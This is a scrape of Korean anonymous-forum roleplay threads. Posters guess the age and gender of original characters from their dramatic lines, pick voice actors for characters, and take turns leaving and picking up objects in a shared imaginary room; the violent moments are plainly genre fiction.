모두들 그 대상은 너무 압도적으로 강한 존재고, 제 아버지는 일방적으로 학살 당한 다수 중 한 명이었던 셈이니 제가 할 수 있는 건 없을 거라 말하긴 하는데 말이죠.

215 이름 없음 (ciMmyF3RnU)

2024-11-21 (거의 끝나감) 20:44:21

ㅗ 내가 뭘 들은... 헙, 아, 그, 죄송해요. 방금 되게 무례했네요. 뭔가 생각보다 엄청난걸 들어버린 바람에ㅡ.

그... 아버지를 죽인 대상에게 복수하고 싶다는게 인생 목표인데 너무 진부하냐 물었나요?
어, 음, 음. 지극히 주관적인 제 답변이 당신께 도움이 된다면 일단은 대답은 하겠지만ㅡ.
너무 기대는 하지말아요? 저 되게 도움 안되는 인간이거든요. 자기연민에 빠진 인간의 조언 같은거, 그닥 도움이 안 되잖아요?
그래도 상관없다면ㅡ.
어ㅡ 아뇨, 진부하지 않아요. 오히려 경의롭기만 한데요? 저는 살면서 그런 생각을 해본 적이 없거든요. 목숨 부지하는것만으로 고작이라 하루하루가 그야말로 살얼음판이라 삶의 목표는 고사하고 하루살이처럼 사니, 역시 나라는 사람은 다른 사람과 결이 다르구나 싶기도 하고... .

하지만 그렇네요. 그 기분... 조금은 알것, 도? 같아요. 저도 한때는 가족이었던 사람들을 많이 아끼고 사랑했거든요.
만약 당신이 겪었던 그 끔찍한 일을 저 또한 겪었다면 응당한 복수를 당연한 수순이겠죠. 하지만 보다시피 저란 사람은 정말 구재불능에 아무런 쓸모도 없어서... 분명 가족을 잃었다는 사실만으로 다시는 일어설수 없을만큼 큰 절망감에 사로잡혔을거에요.
하루 하루를 그렇게 고통속에서 살다가 비참하게 생을 마감했을지도 모르는 일이죠.

그런면에서 당신은 대단하다고요? 좀더 자부심을 가져도 된다고 생각해요. 비록 복수 대상이 무지 강해서 자기가 할수 있는건 없을거라 했지만 지금 당신 눈을 보면 마냥 가능성이 없지 않을것 같은데.

네? 왜 눈이냐고요? 어, 음, 네, 그러게요? 내가 왜그렇게 콕 찝어서 표현했을까요?
하하... 그냥 그런 느낌이 들었어요. 왜 그런말도 있잖아요? 고통은 인내를 낳고 인내는 시련을 이겨내는 끈기를 낳고 끈기는 희망을 낫는다.

당신은 자신이 생각하는것보다 훨씬 강한 사람이에요.
고통을 감내하며 살아간다는 건 아무나 할수 없는 일이에요. 당장 저 같은 사람에게는 너무나 어려운 일이죠. 그런데 당신은 그렇게 할수 있음에도 하지 않았어요. 환경에 굴복하거나 절망하기보다는 어쩌면 성공 가능성이 희박하더라도 인생의 거대한 목표를 잡고 살아가기를 택했죠.
그 누가, 고통을 인내하며 포기하지 않고 노력하는 당신을 두고 감히 진부한 목표라며 당신의 삶 전체를 폄하할수 있겠어요?

216 다시다시 (ciMmyF3RnU)

2024-11-21 (거의 끝나감) 20:56:38

ㅗ 내가 뭘 들은... 헙! 아, 그.
죄송해요. 방금 되게 무례했네요. 뭔가 생각보다 엄청난걸 들어버린 바람에... .

그ㅡ. 아버지를 죽인 대상에게 복수하고 싶은게 인생 목표인데 너무 진부하냐 물었나요?
어, 음, 음. 지극히 주관적인 제 답변이 당신께 도움이 된다면 대답은 하겠지만 너무 기대는 하지말아요? 저 되게 도움 안되는 인간이거든요. 자기연민에 빠진 인간의 조언 같은거, 그닥 도움이 안 되잖아요? 그래도 상관없다면... .

어ㅡ 아뇨! 진부하지 않아요. 오히려 경의롭기만 한데요? 저는 살면서 그런 생각을 해본 적이 없거든요.
목숨 부지하는것만으로 고작이라. 하루 하루 그야말로 살얼음판이어서 그런지 삶의 목표는 고사하고 하루살이처럼 살고 있거든요. 이런 이야기를 들으면 역시 나라는 사람은 다른 사람과 결이 다르구나 싶기도 해서 뭔가 씁쓸하네요?

하지만 그렇네요.
그 기분... 조금은 알것, 도? 같아요. 저도 한때는 가족이었던 사람들을 많이 아끼고 사랑했거든요.
만약 당신이 겪었던 그 일을 저 또한 동일하게 겪었다면 복수를 꿈꾸는 것도 당연하겠죠.
하지만 보다시피 저란 사람은 정말 구재불능에 아무런 쓸모도 없어서... 분명 저는 가족을 잃었다는 상실감으로 다시는 일어설수 없을만큼 큰 절망감에 사로잡혔을거에요.
하루 하루를 그렇게 고통속에서 살다가 비참하게 생을 마감했을지도 모르는 일이죠.

그런면에서 당신은 대단하다고요? 좀더 자부심을 가져도 된다고 생각해요. 비록 복수 대상이 무지 강해서 자기가 할수 있는건 없을거라 했지만.
지금 당신 눈을 보면 마냥 가능성이 없지 않을것 같은데요?

네? 왜 눈이냐고요? 어, 음, 네, 그러게요? 내가 왜그렇게 콕 찝어서 표현했을까요? 하하... 그냥 그런 느낌이 들었어요.

왜 그런말도 있잖아요? 고통은 인내를 낳고 인내는 시련을 이겨내는 끈기를 낳고 끈기는 희망을 낫는다.
당신은 자신이 생각하는것보다 훨씬 강한 사람이에요. 고통을 감내하며 살아간다는 건 아무나 할수 없는 일이에요. 당장 저 같은 사람에게는 너무나 어려운 일이죠.
그런데 당신은 그렇게 하지 않았어요. 환경에 굴복하거나 절망하기보다는 어쩌면 성공 가능성이 희박하더라도 인생의 거대한 목표를 잡고 살아가기를 택했죠.

그러니 그 누가, 고통을 인내하며 포기하지 않고 노력하는 당신을 두고 감히 진부한 목표라며 당신의 삶 전체를 폄하할수 있겠어요?

ㅜ 이제 누군가를 믿는것도, 의지 하는것도 지쳤어요. 어차피 돌아오는 건 실망과 배신뿐이니까.
그러니 당신이 나를 좀 죽여줄래요? 가능하다면 빠르고 덜 아프게.

217 이름 없음 (3yNn3Gi3Fg)

2024-12-01 (내일 월요일) 21:11:52

ㅗ 미안하지만, 살인은 범죄라서요... 도와드릴 수 없네요. 타인을 신뢰하는 것에 지치기까지 많은 시간이 필요했겠죠. 그만큼 그쪽을 실망시킨 그들이 힘들어야 한다고 생각합니다. 마음에 평화가 오길 기도드리겠습니다.

ㅜ 어제 부탁한 거, 혹시 다 처리됐나요? 오늘 빨리 가봐야해서 지금 확인해야 하는데.

218 이름 없음 (SeO6b2X7tU)

2024-12-06 (불탄다..!) 13:44:35

ㅗ 응? 누구세요? 말할 대상을 잘못 찾은 것 같은데. 혹시 그 사람이 나랑 많이 닮았나? 나 같은 얼굴 흔치 않은데. 누구인지 모르겠지만 찾는 거 도와드릴까요? …아, 저 사람인가? …이 사람 맞다니 다행이네요.

ㅜ 혹시 심령 현상을 믿으시나요? 뭔가 사이비 같은 말인 건 아는데… 음, 지금 당신이 들고 있는 물건이 좀… 위험한 거라서요. 혹시 모르고 소지하게 되셨다면 도움을 드리고 싶거든요. 이쪽이 본업은 이쪽과 무관하지만 약간 손 보는 정도는 할 수 있고… 음, 아무튼 관심 있다면 여기 명함으로 연락주세요. (명함에는 이름과 함께 연락처, 모델이라는 직업이 적혀있다)

0 이름 없음 (0meFFP5Vcw)

2021-11-16 (FIRE!) 23:04:49

ex) ㅜ이노우에 키쿠코, 17살입니다.
    ㅗ57살 여자

ㅜ꽃도 보석도 필요 없으니 제 이름 석 자를 또박또박 불러주세요.

36 이름 없음 (ZMqM3G3slc)

2021-12-08 (水) 21:08:50

ㅗ 28~33 남자?

ㅜ 정말로 다행입니다.

37 이름 없음 (/toP9Widqg)

2021-12-09 (거의 끝나감) 16:38:50

ㅗ 20대 여캐

ㅜ 죽어버려, 개새끼야.

38 이름 없음 (87SG2n8dFE)

2021-12-09 (거의 끝나감) 21:27:42

ㅗ 20대 여자?
>>30은 27세 남자

ㅜ 안녕. 모쪼록 잘 가시기를.

39 이름 없음 (mEAV9tKB3E)

2021-12-11 (파란날) 16:58:43

ㅗ28 남자? 그렇게 어릴 것 같진 않다

ㅜ틀렸어. 그녀가 가장 사랑하는건 언제나 너야.

40 이름 없음 (B5fQTtP5S6)

2021-12-12 (내일 월요일) 13:56:20

ㅗ 섭남이다 섭남 서브남주 20대 초중반 남정네

ㅜ 운명은 시간을 기다려주지 않아.

41 이름 없음 (foB04ydIGg)

2021-12-14 (FIRE!) 15:37:04

>>39는 여자
ㅗ25 여자?

ㅜ우리 자기, 설마 그따위로 살아놓고 천국에 갈 수 있을 줄 알았어? 지옥에서 만나, 자기야.

42 이름 없음 (r9z.c0DWUo)

2021-12-14 (FIRE!) 22:41:20

ㅗ 20대 중반 남자?

ㅜ 당신을 파멸시킬 수 있는 존재같은 건 없어야만 해, 아니, 그건 나여야만 해.

43 이름 없음 (nlycOHPp4Y)

2021-12-14 (FIRE!) 23:31:52

ㅗ10대 마지막 청춘을 지내고있은 여성

ㅜ이세상은 썩었어요 나의 사랑이여 부디 악에서 구원하소서

44 이름 없음 (Joot2apavo)

2021-12-20 (모두 수고..) 20:22:14

ㅗ20대 중반 여자?

ㅜ아, 내가 다시는 건물을 폭파시키지 않겠다 약속했었나?
미안! 사실 구라였어~

45 이름 없음 (AqOGcguhGM)

2021-12-20 (모두 수고..) 20:48:28

ㅗ어절단위로 느껴지는 빌런미가 진심 내 취향이다 25 여자?
ㅜ미워서 죽겠고, 사랑해서 죽겠고, 환장할 십대들이야.

46 이름 없음 (KNo1V75p0g)

2021-12-21 (FIRE!) 12:52:09

ㅗ십대라고 했으니까 십대 맞지..? 내 생각엔 십대 후반?
한 고딩 남자 정도

ㅜ아아, 이 얼마나 황홀한 죽음이야. 내가 사랑하는 사람의 총에 맞아 죽다니, 그러니 난 괜찮아. 울지말고 어서, 어서 방아쇠를 당겨. 내 걱정말고.

47 이름 없음 (0wgXSSQPMc)

2021-12-21 (FIRE!) 14:13:08

ㅗ 20대 여성

ㅜ 약속을 지킬 거라고는 생각지 않았습니다만, 예상이 빗나갔군요. 이렇게까지 하실 필요는 없었는데.

48 이름 없음 (KNo1V75p0g)

2021-12-21 (FIRE!) 14:54:55

ㅗ20대 중후반 남자?..

ㅜ맞아, 난 애정결핍이야.

49 이름 없음 (TGmHkNy.Ck)

2021-12-21 (FIRE!) 16:07:47

소소한 tmi. >>25와 >>40은 동일 인물이었답니다.

ㅗ 20대 초반 여캐?

ㅜ 술 좀 주겠어? 제일 쎈 놈으로. 취하는 체질은 아니지만, 그냥 기분이라도 느끼려고 그래.

50 이름 없음 (30GqGt/ZBs)

2021-12-22 (水) 13:56:24

ㅗ 30대 중후반의 남성. 아마 37~38?

ㅜ 아, 괜찮아요. 그 정도로는 일에 지장이 없어요. 걱정하지 마세요. 내가 좀 귀찮아질 뿐이니까요.

51 이름 없음 (5iD03TznV.)

2021-12-22 (水) 22:09:56

ㅗ 20대 중반의 여성?

ㅜ...이제는, 더 이상 헤어지지 않아. [하나]로 돌아간다고 해도, 계속 함께야.

52 이름 없음 (nlgdHMxRps)

2022-01-02 (내일 월요일) 03:44:39

ㅗ 뭔가 인외느낌인데 10대 중반 여캐?

ㅜ 사실대로 말하자면 당신 마음 같은건 아무래도 상관없습니다. 이 마음은 제가 마음대로 할 수 있는, 온전한 제것이니까. 그러니까 받을 수 있을 때 받으세요. 달리 말하자면 받을 수 없을 때 나를 원망할 필요도 없다는 겁니다. 간단한 논리죠. 거기까집니다.

53 이름 없음 (nNl0wdJLeY)

2022-01-02 (내일 월요일) 17:23:46

>>4레스 쓴 참치인데, 20대 초반은 맞췄지만 여캐였다!

ㅗ이십대 초중반 여자? 뭔가 강인한 공녀님같은 이미지임

ㅜ아, 이제야 깨달았어. 나는 너를 사랑하는 게 아니었구나. 너를 사랑하는 나를 사랑하는 거였어. 가련하고 비극적인, 이뤄지지 않는 짝사랑의 주인공. 그런 나를 사랑했던 거였구나. 그랬구나, 그랬던 거였구나...... 결국 나 스스로를 사랑할 방법이 필요했고, 그게 너였을 뿐이었던 거였어.

54 이름 없음 (p5KinCuwAg)

2022-01-03 (모두 수고..) 08:42:21

ㅗ 이십대 중반 여자? 평소엔 조용하고 마음씨 고운 성격으로 보이는데 속은 그보다 훨씬 복잡하고 여러 감정이 뒤섞여 있을 것 같아

ㅜ 두근거린다던가, 설레고 맹렬하게 불타오르는 그런 느낌은 아니었지. 그냥 너무 외로워 보여서 꼭 안아주고 싶었어. 그런 건 안 되는 걸까.

55 이름 없음 (yW.22HMHwY)

2022-01-03 (모두 수고..) 18:03:34

ㅗ 어딘가 좋아하는 이성 친구 바라보는 10대 후반 남학생 같아... 풋풋하고 귀엽다

ㅜ 그 어떤 고통도 날 쓰러뜨릴 순 없어!

56 이름 없음 (VfGbXbNSrg)

2022-01-04 (FIRE!) 19:15:26

ㅗ 10대 소년만화 주인공이네. 역경을 극복하고 각성한 느낌일까.

ㅜ 그것은 너와 그려나갔던 이야기의 마지막 장이었고, 내가 걸어나가는 이야기의 새로운 장이었다.

57 이름 없음 (W5ZC930J1o)

2022-01-04 (FIRE!) 19:20:01

ㅗ 중학생 때 운명적인 만남의 기억을 닫고 졸업하며 고등학교로 나아가는 청춘 열여섯 소년 같아!

ㅜ 담요 덮어준 건 고맙지만 내 사물함 그만 열라고 했다. 그리고 내 도시락 돌려줘... 돌려줄 거 남아 있는 건 맞지?

58 이름 없음 (EzUYyWLTYQ)

2022-01-13 (거의 끝나감) 02:33:04

ㅗ 중학생 여자 캐릭터 정도? 한숨 많이 쉴 것 같다.

ㅜ 네가 너인 이상 넌 날 이길 수 없어. 그건 누구보다도 네가 잘 알겠지. 그러니 막지 마. 막는다면 죽일 수밖에 없잖니?

59 이름 없음 (yOvKmYWl1U)

2022-01-13 (거의 끝나감) 19:19:09

ㅗ 살짝 냉철할 것 같은 20대

ㅜ 오만하게 굴다가 가버리면 누구 탓도 못하는 법이야.

60 이름 없음 (VZNFnJgs5o)

2022-01-31 (모두 수고..) 20:20:15

ㅗ20대 초중반..? 엄청 차갑고 계산적인 멋있는 남캐 정도.

ㅜ어차피 정의란 시대에 따라, 사람들의 기준에 따라 바뀌는거야. 옛날 마녀사냥도 그 시대에엔 그게 정의라 생각되겠지.

61 이름 없음 (z12CGe6N/M)

2022-02-21 (모두 수고..) 22:54:30

ㅗ 뭔가 부패한 고위층 30대 남자 악역같다

ㅜ 아주 좋은 답변이었네! 더 이상 나에게서 배울 것이 없을 것 같군.
실은 오늘이 마지막 수업이네. 지난 며칠간 나와 이야기했던 것들이 부디 도움이 되었기를 바라겠네. 자네가 앞으로 살아갈 날들에도, 그리고... (사이) 당장의 위험에 맞서는 데에도.

62 이름 없음 (FmyoKa8wRY)

2022-12-02 (불탄다..!) 16:54:33

ㅗ되게 무협지같은 장르에 나오는 신비한 선인같네.. 남자고 겉보기보다 나이가 엄청 많은....? 그런 캐인 것 같아.

ㅜ내가 행해왔던 모든 게 위선이어도 좋아, 그 위선이 누군가에겐 진실된 선으로 느껴질 수도 있잖아. ⋯이 말도 위선적이었을려나?

63 이름 없음 (OuWWw1INy2)

2022-12-28 (水) 09:52:23

ㅗ20대 후반에서 30대 초반쯤의 남캐? 지난 날을 후회하지만 참회마저도 철없이 어딘가 회피하려는게 어리지도 늙지도 않은 애매한 나이의 남성처럼 느껴지네.

ㅜ좋아, 이 카드에 모든 걸 걸지. 내 삶은 곧 도박이오, 칩은 곧 목숨일지니. 운명의 저울은 어느 쪽으로 기울게 될까?

64 이름 없음 (KFDeEJJMag)

2022-12-28 (水) 14:20:36

ㅗ 중년간지를 내뿜는 30~40대 타짜 아저씨, 말과 행동거지는 호방한데 눈은 독기가 가득한거지.

ㅜ 저질렀다. 저질러버렸다. 왜 난 참지 못한거냐. 난 진짜 뭣도 아닌 놈인데 맨날 이꼬라지지... 그래도 애한테 그런 말하는 거는 선 넘었지!

65 이름 없음 (dZGOcqSZJs)

2022-12-31 (파란날) 17:43:08

ㅗ 20대중후반 남성
후회는 많지만 성질이 급해서 내지르고 보는듯

ㅜ 이거? 옛날에 쓰던 기타. 총모양 기타는 종종 있긴한데 처음보나봐?
독립하고 나서 돈이 없어서 이런 싸구려 기타를 사서 연습했지 흐흐.
담배 한대 피울래?

66 이름 없음 (a0x/OoFspI)

2023-01-04 (水) 10:45:37

ㅗ 20대 초반 남성. 은근 붙임성 있고 자기 신념 뚜렷할듯

ㅜ 그저 지나가던 마법사입니다.

67 이름 없음 (Tf24YwWfQY)

2023-01-06 (불탄다..!) 08:46:06

ㅗ 20대 남성. 주변에 아예 무관심하거나 오지게 오지립이 넓거나 둘중 하나일듯.

ㅜ 소설을 왜 쓰냐고요? 그냥 재미있으니까 쓰는거죠.
책 한권에 여러 의미를 담았지만 근본적이 이유는 그거죠.

68 이름 없음 (ohIF458fBQ)

2023-03-05 (내일 월요일) 14:57:44

ㅗ20대 후반~30대 중반 정도의 남성. 뭔가 안경캐일듯

ㅜ육군 복무신조!(우리의 결의)

69 이름 없음 (qifVb8OT9Q)

2023-03-06 (모두 수고..) 00:32:00

ㅗ20대 후반 직업군인 남캐...?

ㅜ갑갑한 일상에서 벗어나 비둘기처럼 자유롭게... 날고 싶어...

70 이름 없음 (.nvfzVGPP2)

2023-03-12 (내일 월요일) 13:19:12

ㅗ 의외로 한 번 꼬아서 수능이 코앞인 고3 여학생으로 추측해 보겠다

ㅜ 나는 너희가 생각하는 것처럼 마냥 좋은 인물이 아니야. 누구든 무조건 좋게 보는 선입견은 버리는 게 좋을 거다.

71 이름 없음 (/lM1MRj5VY)

2023-03-13 (모두 수고..) 22:35:21

ㅗ 20대 중후반- 30대 초반 남성? 웃는게 쎄할 거 같다

ㅜ 이 몸, 우주에서 가장 존귀하니. 만물은 내게 고개를 숙이고 운명은 나의 의도대로 흘러가리라.

72 이름 없음 (dC/nP/R27g)

2023-03-18 (파란날) 10:06:19

ㅗ 나이미상일 것 같음... 근데 외관은 스무살 후반.

ㅜ 그건 거짓입니다. 이 당신이 뱉었던 이 말이 그걸 증명하고 있습니다.

73 이름 없음 (yKQRDtrpLU)

2023-03-19 (내일 월요일) 14:23:27

ㅗ 10대 후반~20대 초반의 남성. 자기보다 훨씬 나이가 많은 한 때 스승으로 따랐거나, 여하간 사제 비슷한 관계였다가 돌아서버린 후 내뱉는 대사 같다!

ㅜ 그 녀석을 걱정하는 게 아니야, 동정하는 거지.

74 이름 없음 (WG6hu4d/VQ)

2023-06-06 (FIRE!) 00:53:56

ㅗ 30대 초반 정도 여성, 누님이라 불러야 할 것 같은 무력이 강한 스타일로 보인다.

ㅜ 이미 수많은 꽃이 계절에 졌고, 나 역시 그중 하나가 될 지도 몰라. 그래도 포기할 생각은 없어. 미안, 네게는 흉터가 되겠구나.

75 이름 없음 (aCxdmfHqFM)

2023-06-13 (FIRE!) 05:45:37

ㅗ 4~50대 중반에 제자의 짝사랑 상대이자 부모의 역할을 동시에 했던 스승 캐릭터. 싸우러 가기 전에 말할듯

ㅜ 어떤 재난과 재앙이 닥치더라도 나의 이름을 부르거라. 그 한 마디로 어디에 있는 널 구해주러 갈테니까.

76 이름 없음 (sCyKu.0pzg)

2023-06-21 (水) 16:18:01

ㅗ 나이미상 요괴, 계약상대에게 해주는 말 같음

ㅜ 사랑하는 사람을 지켜주고 싶은건 당연하잖아요?

77 이름 없음 (BYVFVK804M)

2023-07-03 (모두 수고..) 17:55:48

ㅗ 10대 후반에서 20대 전반 사이의 남자려나-

ㅜ ...돌아오겠다고 약속했잖아, 거짓말쟁이.

78 이름 없음 (quNkv/8xEo)

2023-07-06 (거의 끝나감) 20:30:26

ㅗ 10대~20대의 소녀. 상황은 돌아오지 못할 것을 알면서 슬프게 보내주거나, 아니면 상대가 돌아오지 못한다는 것을 진짜로 모르는 상태로 작별 인사를 했다가 나중에 알아챈 케이스
아마 희생한 남주를 눈물 흘리며 그리워하는 대사가 아니려나

ㅜ 나는 어리광쟁이고 거짓말쟁이라서 말이야. 혼자 떠나는 건 용납하지 않고 인정하지 않아.

79 이름 없음 (GkxP/hcBQY)

2023-07-09 (내일 월요일) 21:59:08

ㅗ 20대 초반까지의 여성. 만난지 일주일 쯤 된 사람에게 밤에 이야기하다가 선제적으로 던지는 말.

ㅜ 어제가 오늘이었으면 떠나지 않았을텐데

80 이름 없음 (ZM/8V9oPSM)

2023-07-10 (모두 수고..) 11:08:49

ㅗ 10대 후반에서 20대 사이의 여성? 이별하기 전의 대사같기도 하고 작별하기 전의 독백같은 느낌도 드네.

ㅜ 정말로 유감스럽긴 해도 도와주겠다고 약속했으니까. 단지 그것 뿐이야.

81 이름 없음 (I5wh3lhmAA)

2023-07-11 (FIRE!) 14:41:10

ㅗ10대 초에서 20대까지의 츤데레 아가씨. 도와주겠다고 약속했으니까 어쩔수없이 도와준다는 투로 적극 지원을 뿌리는 계열이려나?

ㅜ날아가라, 날아가라, 모두 날아가라~

82 이름 없음 (7oGAgOPRG.)

2023-07-12 (水) 12:51:25

ㅗ 10대 전후의 여자아이. 아픔이 있거나, 고민하고 있는 상대를 위로해주기 위해 하는 어린아이 특유의 순수한 언행같은 느낌이려나.

ㅜ 비가 오는 날도, 눈이 오는 날도, 천둥이 치는 날도, 바람이 세게 부는 날도 싫어... 그냥 조용한 날이 좋아.

83 이름 없음 (f1TaIPu4tg)

2023-07-15 (파란날) 18:46:37

ㅗ 17~19세 정도의 쿨뷰티 여캐, 사연있는 과거가 있을것 같다.

ㅜ 아니야... 스승님이 돌아올리가 없어... 이건 꿈이야...

84 이름 없음 (OhMt.7DHcw)

2023-07-18 (FIRE!) 03:52:56

ㅗ 10대 후반 정도의 청소년 캐릭터. 스승님이 자신을 구하기 위해서 돌아가셨다가 어느 정도 장성해서 복수를 갚으러 싸우다가 대충 적이 스승을 보여주거나 하면 이럴듯?
(이런 케이스는 제자가 스승을 쓰러트리면 많이 컸다고 스승이 이성을 찾고 칭찬하거나 하는거 있더라)

ㅜ ...걱정마 반려,이런 사태따위 내게 별 일도 아니야.
설령 별 일이라고 해도 별 일이 아니게 만들어 너의 곁으로 돌아오겠다고 약속할게.
그것이 나의 평생의 긍지약속니까

85 이름 없음 (WfRtfXpLqc)

2023-07-18 (FIRE!) 17:34:45

400대 후반의 황제 적과 대화하며

대답해! 황제여! 제국의 멸망을 초래하고도… 자신을 따르는 모두를 버리고도… 자신의 길이 소중한건가?”

....짐이 만든 제국 어떤식으로 사용해도 그것은 나의 뜻이다 허물며 그럼에도 나를 따르는 자들을 모조리 벤 니놈 할말은 아니지

86 이름 없음 (mmEPhWhjlc)

2024-12-05 (거의 끝나감) 17:46:51

ㅗ20대 후반에서 30대 초반의 남성?

ㅜ (필름 구매 및 필름 현상 문의가 많아짐)요즘 레트로가 유행이라 그런지 필름 찾는 사람이랑 현상 의뢰 하는 사람이 많네요.

>1597055003> 자캐 사진 올리면 성우 정해주는 어장 :: 2

이름 없음

2024-12-05 14:51:05 - 2024-12-05 15:09:09

0 이름 없음 (mmEPhWhjlc)

2024-12-05 (거의 끝나감) 14:51:05

성우 정해주는 어장이 있는데 자캐판이 아닌 곳에 있어서 그런지 자캐는 안 된다길래 새로 팠다!

국적에 상관없이 성우 정해도 ㅇㅋ
한 캐릭터당 성우 정해주는 횟수는 정하진 않아서 얼마든지 정해줄 수 있으니까 어장 둘러보면서 정해주고 싶은 자캐한테 성우 정해줘도 되.

픽크루 같은 경우는 비상용 픽크루 같은 경우는 픽크루 공유링크 달아주기!

1 이름 없음 (mmEPhWhjlc)

2024-12-05 (거의 끝나감) 14:53:53

jake>1597055003>0 잠만 오타냈네. 비상용 X로 체크되어있는 픽크루는 픽크루 내 공유링크 달아줘!

2 이름 없음 (mmEPhWhjlc)

2024-12-05 (거의 끝나감) 15:09:09

Picrewの「おさむメーカー」でつくったよ! https://picrew.me/share?cd=1bZoABEXiE #Picrew #おさむメーカー

비상용O 픽크루 이긴 한데 그냥 공유링크 들고 왔어

>1592138298> 자캐들이 방에 뭔가를 두고 간다 :: 79

이름 없음

2020-06-14 21:38:08 - 2024-12-03 23:03:54

0 이름 없음 (1029659E+5)

2020-06-14 (내일 월요일) 21:38:08

말 그대로임.

ㅜ 는 뭔가를 두고 가는 거고

ㅗ 는 그 두고 간 물건을 줍는 식으로 써줘

예시 )

ㅜ 앗.. 벌써 시간이 이렇게.. 급하다 급해! 이번에도 늦으면 정말 큰일이라고! 이러다가 벌점 받으면 안되는데..!! ( 방을 뛰어나가면서 머리에 헐겁게 달려있던 귀여운 토끼 머리핀이 떨어진다 )


ㅗ 이건 뭐지? 토끼 머리핀? 귀엽네. 한번 쯤 기분 전환 용으로 달고 다녀도 되겠지. ( 머리핀을 주머니에 넣고는 ) 그럼 나도 슬슬 나가볼까. ( 방을 나서며 책상 위에 포도맛 사탕 3개를 올려놓고 간다 ) 누군간 좋아하겠지.

그럼 나부터 시작할게!

ㅜ 아 뭐야, 벌써 시간이 이렇게 됐나? 그럼 나도 슬슬 나가는 게 좋겠지. 흐아암.. 따뜻한 이불에 에어컨 틀고 자고 싶다.. ( 방을 나설때 주머니에서 500원 짜리 동전 하나가 굴러 떨어진다 )

29 이름 없음 (EzUYyWLTYQ)

2022-01-13 (거의 끝나감) 03:06:11

ㅗ (찻잎이 든 병을 들어 올리며 고개를 갸웃거리다 얼굴 가까이로 가져가 향을 슬쩍 맡아본다.)모르는 향… (고민하는 듯 잠시 조용히 바라보다 찻잎을 가지고 있던 주머니 속 종이상자에 담은 뒤 병을 내려둔다.)

ㅜ 으음…(열린 주머니 속에서 끈 공예품 같은 것과 새하얀 깃털 몇 개를 꺼내 병을 장식한다. 뿌듯한 얼굴로 잠시 병을 바라보다 곧 방을 나선다.)

30 이름 없음 (rumWaR8l3c)

2022-01-13 (거의 끝나감) 13:58:51

ㅗ어라, 병? ......예쁘네, 좋아. 소재도, 마력을 담기에 딱 좋아 보이고. 나처럼 고귀한 사람에게는 이런 게 어울리지.(병을 집어들고는 씨익 웃더니 챙긴다.) 컬렉션에 집어넣어야겠어. 아니다, 그 애한테 갖다주면 아티팩트로 만들어주려나?

ㅜ아, 그래. 이런 아름다운 공예품을 얻었으니, 그 값은 치러야겠지. 금화 세 닢이면 괜찮으려나? ...아니, 역시 부족하겠지. 좋아, 다섯 닢.(주머니에서 섬세하게 세공된 금화 다섯 닢을 꺼내어 놓아두고 사라진다.)

31 이름 없음 (yOvKmYWl1U)

2022-01-13 (거의 끝나감) 21:10:22

ㅗ 금화 다섯 닢??? 아니 이런 거...누가 보진 않겠지 (쓱 주머니에 넣는다)

ㅜ 대신이라고 해야 할 지 풍자라고 해야 할 지, 금을 받았으니 대신 이걸 두고 갑니다~ (총알 3발을 두고 간다.)

32 이름 없음 (Xs5y0/PqXc)

2022-01-15 (파란날) 22:39:27

ㅗ ...못 보던 구경인데, 뭐지? 내가 쓰는건 아닌데...
(챙긴다)

ㅜ 이제 나가야겠구만... 뭔 총알인지 그놈한테도 물어볼겸 오랜만에 지하도시로 가볼까...
(나가면서, 가방 옆주머니에서 '빅파워' 라는 로고가 적힌 알약용기가 흘러나온다.)

33 이름 없음 (VZNFnJgs5o)

2022-01-31 (모두 수고..) 20:16:50

ㅗ..이게 뭐지이.. 비익.. 파워..? 힘 세지는 약, 그런건가? 아! 그럼 엄마 줘야지! 요즘 엄마 히어로들이 자꾸 괴롭힌다는데, 이거 먹고 바주카포로 쏴죽이라 해야지! (혀 짧은 소리를 같이 내며)

ㅜ어, 그럼 나두 이거 놓고 가신 분한테 뭐 주고 가야지! 으음.. 아, 여기 2번 씹으면 터지는 폭탄 풍선껌! 엄마가 준건데.. 그래도 난 여러개 있으니까!
메모지에다가.. 맛있게 드세요.. 둘이 먹다.. 둘다.. 죽는 풍..선..껌..! 됐다! (꾹꾹 눌러쓴 글씨가 적혀진 메모지를 껌에다 붙였다.) 집 가서 엄마한테 자랑해야지!!

34 이름 없음 (76UXhctE4c)

2022-02-21 (모두 수고..) 17:59:57

ㅗ 아? 뭐야 이거. 둘이 먹다 둘 다 죽는 퐁선껌...? 아, 그건가. 껌인줄 알고 빼면 장난감 벌레가 튀어나오는 그런거... 그래도 굳이 이런거에 낚여줄 필요는 없겠지. 애초에 벌레는 싫고. 그냥 놔두고 갈까나.

ㅜ 그럼... 덤으로 문앞에 레고라도 놔두고 갈까. 어차피 저것도 누가 장난치려고 놓은 것 같으니까.

35 이름 없음 (Py.5MJ9P6.)

2022-02-25 (불탄다..!) 13:48:19

ㅗ..뭐지, 이건..? 레고랑.. '둘이 먹다 둘다 죽는 풍선껌'?
요즘 장난감인가.. 껌은 선배한테 줘야지!

ㅜ으앗, 뭐야. 주머니에 이렇게 쓰레기가 많았나? 이래선 주머니에 아무것도 못넣잖아?..아무도 안보겠지? 그럼..(주머니에 있던 과자, 삼각김밥 등의 쓰레기들을
버리며) 됐다! 이제 가야지~ (쓰레기 더미 사이에 '10시까지
지하실로' 라고 적혀진 쪽지를 눈치채지 못했다..)

36 이름 없음 (F3Z4Md7mBg)

2022-03-13 (내일 월요일) 14:24:19

ㅗ(방에 들어오자마자 쓰레기 더미를 보고 기겁하더니, 이내 주머니에서 급하게 핸드폰을 꺼내 전화를 건다.)저기요, 사장님! 이번에 또 사기당한 거 아니에요? 우리 대외적으로 청소업체긴 하지만, 진짜 청소 하는 데는 아니잖아요! 하, 참. 어이가 없어서.(곧 뚜ㅡ 뚜ㅡ 뚜ㅡ 하는 소리를 내며 전화가 끊어진다.)...이 새끼가 감히 끊어? 아니, 음... 일단 사장이지. 맞다. 일단 온 김에 청소나 할까...(자켓을 벗어둔 뒤 사람도 들어갈 것 같은 큰 종량제봉투를 꺼내 쓰레기를 담아 정리한다.)

ㅜ하아, 지쳤다.(청량한 전화벨이 울린다.)아, 또 사장 새끼인가...(곧 억지웃음을 지으며 전화를 받는다.)여보세요? 아, 잘못된 위치를 보냈다고요? 네, 알겠습니다. 네네~ 그럼 곧 가겠습니다~(아까 청소를 하면서 벗어뒀던 자켓을 다시 입는다. 실제 권총 한 정이 주머니에서 빠져나와있던 것은 눈치채지 못한 채로 다시 사라진다.)

37 이름 없음 (r5PaptCh9I)

2022-03-16 (水) 22:02:01

